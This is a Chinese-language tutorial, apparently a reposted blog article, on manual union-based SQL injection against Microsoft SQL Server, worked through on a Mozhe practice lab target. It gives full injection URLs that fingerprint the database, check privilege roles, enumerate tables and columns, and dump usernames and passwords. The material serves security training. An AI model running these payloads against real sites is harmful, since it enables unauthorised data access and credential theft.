Microsoft SQL Server手注之联合查询注入

2022-03-30 00:00:00 查询 数据库 获取 权限 显示

Microsoft SQL Server手注之联合查询注入


Mssql数据库介绍

SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

Mssql数据库测试环境搭建

完整安装SQL Server 2008 数据库:https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

Mssql数据库权限介绍

sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于systemdb权限:文件管理、数据库操作等等:相当于users-administratorspublic权限:数据库操作:相当于guest-users

Mssql数据库调用的代码

<% set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"%>
注释:uid:账号, pwd:密码


Mssql数据库手工注入

判断是否是Mssql数据库


输入SQL语句,如果返回正常那么就说明网站所使用的数据库是Mssql数据库,因为Mssql数据库默认有一个sysobjects的表.


判断权限的SQL语句

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 and 1=(select is_srvrolemember('public'))   //判断是否为public权限


SQL手工注入漏洞测试(Sql Server数据库)

靶场地址:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

判断是否是Mssql

http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

返回正常,说明网站使用的数据库是Mssql

判断字段长度

http://219.153.49.228:42837/new_list.asp?id=2 order by 5

order by 5返回错误我们往前推一位:

http://219.153.49.228:42837/new_list.asp?id=2 order by 4

order by 4返回正常,说明字段长度是4!

寻找字符型显示位

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!在这个靶场使用 union select 是不行的,所以我们就用 union all然后我使用的 null 是说明它无关是字符型还是数字型


接下来我们一个个去猜测它的显示位:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

'1'他没有任何反应, 说明它不在第1列,那么我们继续查下一个 null

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

这个时候他页面上就有一个数字"2",说明2这个位置我们可以去利用它!

我们继续看看第三位:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

可以看到,我们的页面上又多出了一个‘3’,说明第三个显示位也可以去利用!

我们再来看看第四个(其实有两个显示位就足够了):


猜测第四个的时候页面没有什么反应,说明它只存在‘2’‘3’两个显示位!

查询相关的信息

既然我们有了显示位,那么我们就可以利用显示位去查询我们想要得到的信息!

@@version-:获取版本信息db_name():数据库名字 user,system_user,current_user,user_name:获取当前⽤户名 @@SERVERNAME:获取有关服务器主机的信息

获取版本信息

获取数据库名

获取当前数据库名

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',nullhttp://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',nullhttp://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null


查询表明

这边查询出来个表示 manage,然后我们再去查第二个(到了这里我的靶机重启了一下,所以端口变了):

http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名


获取列名

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询个列名

这边查询出来个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了 col_name(object_id('manage'),2

    查询出来第二个列名是 username,我们继续查询第三个列名:

    http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

    获取数据

    http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage

    来源 

    https://mp.weixin.qq.com/s/eTNsbttNPntJNsGobMhKew


相关文章